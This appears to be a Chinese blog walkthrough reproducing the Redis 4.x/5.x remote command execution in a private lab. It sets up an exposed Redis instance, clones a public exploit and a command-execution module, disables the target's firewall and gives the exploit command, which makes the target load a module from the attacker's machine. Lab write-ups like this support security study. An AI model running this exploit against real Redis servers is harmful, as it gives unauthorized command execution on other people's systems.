redis命令执行复现
攻击机:centos mini 192.168.205.130
靶机:centos 192.168.205.128
影响范围:Redis4.x、5.x
0x01 安装redis包
wget download.redis.io/releases/redis-4.0.11.tar.gz

0x02 解压安装包
tar xzvf redis-4.0.11.tar.gz
目录下会新生成一个文件夹
yicunyiye@yicunyiye:~/redis$ ls
redis-4.0.11 redis-4.0.11.tar.gz
0x03 make安装
进入文件夹,在usr/local/redis目录下安装redis:
make PREFIX=/usr/local/redis install
0x04 修改redis.conf
cp /home/yicunyiye/redis/redis-4.0.11/redis.conf /usr/local/redis
修改conf文件
注释掉
#bind 127.0.0.1
修改为no,允许ip访问
protected-mode no
redis以后台方式启动
daemonize yes
0x04 服务端启动
在bin目录下
root@yicunyiye:/usr/local/redis/bin# ./redis-server /usr/local/redis/redis.conf
7901:C 07 Sep 19:22:17.689 # oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo
7901:C 07 Sep 19:22:17.689 # Redis version=4.0.11, bits=64, commit=00000000, modified=0, pid=7901, just started
7901:C 07 Sep 19:22:17.689 # Configuration loaded
0x05 启动客户端并连接测试
./redis-cli

0x06 下载poc
git clone https://github.com/Ridter/redis-rce.git
0x07 下载RedisModules-ExecuteCommand
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git
然后直接make
root@kali:~/redis-rce/RedisModules-ExecuteCommand# ls
RedisModules-ExecuteCommand
root@kali:~/redis-rce/RedisModules-ExecuteCommand# cd RedisModules-ExecuteCommand/
root@kali:~/redis-rce/RedisModules-ExecuteCommand/RedisModules-ExecuteCommand# make
然后将/src下的modules.so文件复制到poc目录下
0x08 poc出现的一些问题
出现了
No route to host
解决办法:
关闭iptables
service iptables stop
或者清理规则
iptables -F
注:这里是在靶机上执行关闭防火墙
运行发现缺少six库
先安装pip
curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py
会在目录下生成一个get-pip.py
python get-pip.py
再安装
pip install six
运行poc
python redis-rce.py -r 192.168.205.128 -L 192.168.205.130 -f module.so
-r 目标ip -L本机ip

redis命令执行复现的更多相关文章
- Redis 命令执行过程(上)
今天我们来了解一下 Redis 命令执行的过程.在之前的文章中<当 Redis 发生高延迟时,到底发生了什么>我们曾简单的描述了一条命令的执行过程,本篇文章展示深入说明一下,加深读者对 R ...
- Redis 命令执行过程(下)
在上一篇文章中<Redis 命令执行过程(上)>中,我们首先了解 Redis 命令执行的整体流程,然后细致分析了从 Redis 启动到建立 socket 连接,再到读取 socket 数据 ...
- Redis 命令执行全过程分析
今天我们来了解一下 Redis 命令执行的过程.我们曾简单的描述了一条命令的执行过程,本篇文章展示深入说明一下,加深大家对 Redis 的了解. 如下图所示,一条命令执行完成并且返回数据一共涉及三部分 ...
- CVE 2021-44228 Log4j-2命令执行复现及分析
12月11日:Apache Log4j2官方发布了2.15.0 版本,以修复CVE-2021-44228.虽然 2.15.0 版本解决了Message Lookups功能和JNDI 访问方式的问题,但 ...
- Apache Solr远程命令执行复现
环境 /vulhub/solr/CVE-2019-0193/ 创建一个集合 docker-compose exec solr bash bin/solr create_core -c test -d ...
- redis 命令的调用过程
参考文献: Redis 是如何处理命令的(客户端) 我是如何通过添加一条命令学习redis源码的 从零开始写redis客户端(deerlet-redis-client)之路--第一个纠结很久的问题,r ...
- fastcgi未授权访问及任意命令执行
1. 漏洞原理 服务端使用fastcgi协议并对外网开放9000端口,攻击者可以构造fastcgi协议包内容,实现未授权访问服务端.php文件以及执行任意命令. 2. 漏洞利用 第一步 搭建vulhu ...
- 【漏洞预警】Redis 4.x/5.x 远程命令执行高危漏洞
2019年7月09日,阿里云应急响应中心监测到有安全研究人员披露Redis 4.x/5.x 远程命令执行高危漏洞利用代码工具.针对未授权或弱口令的Redis服务,攻击者通过构造特定请求,成功利用漏洞可 ...
- redis如何执行redis命令
Redis 命令 Redis 命令用于在 redis 服务上执行操作.所以我们必须要启动Redis服务程序,也就是redis安装目录下的redis-server.exe,你可以双击执行,也可以打开cm ...
随机推荐
- C++多线程基础教程
目录 1 什么是C++多线程? 2 C++多线程基础知识 2.1 创建线程 2.2 互斥量使用 lock()与unlock(): lock_guard(): unique_lock: conditio ...
- github 加速方法
登录网址:https://github.com.ipaddress.com/codeload.github.com#ipinfo 更改hosts:
- map[string]interface{} demo
package main import ( "encoding/json" "fmt" "reflect" ) func demo1() { ...
- 常用生成模型代码大全(pytorch/tensorflow)
感谢大佬开源分享 代码详见:https://github.com/wiseodd/generative-models
- Federated Machine Learning: Concept and Applications
郑重声明:原文参见标题,如有侵权,请联系作者,将会撤销发布! Qiang Yang, Yang Liu, Tianjian Chen, and Yongxin Tong. 2019. Federate ...
- Java算法——动态规划
基本思想: 动态规划算法通常用于求解具有某种最优性质的问题(作用就是求最优解).在这类问题中,可能会有许多可行解.每一个解都对应于一个值,我们希望找到具有最优值的解.动态规划算法与分治法类似,其基本思 ...
- Spark-shell 报错:Failed to get database default, returning NoSuchObjectException
Spark-shell 执行sql查询报错: 20/08/24 15:33:59 WARN metastore.ObjectStore: Failed to get database default, ...
- filebeat 启动失败
最近在ELK架构中启动filebeat时,启动失败,检查启动节点不存在 查看/var/log/message中报错日志,有如下内容 filebeat: Exiting:error loading co ...
- Java8中的Stream API
本篇文章继续介绍Java 8的另一个新特性——Stream API.新增的Stream API与InputStream和OutputStream是完全不同的概念,Stream API是对Java中集合 ...
- VSCode 快速生成.vue基本模板、发送http请求模板
安装vscode 官网:https://code.visualstudio.com/ 安装 Vetur 插件,识别 vue 文件 插件库中搜索Vetur,点击安装,安装完成之后点击重新加载 新建代码片 ...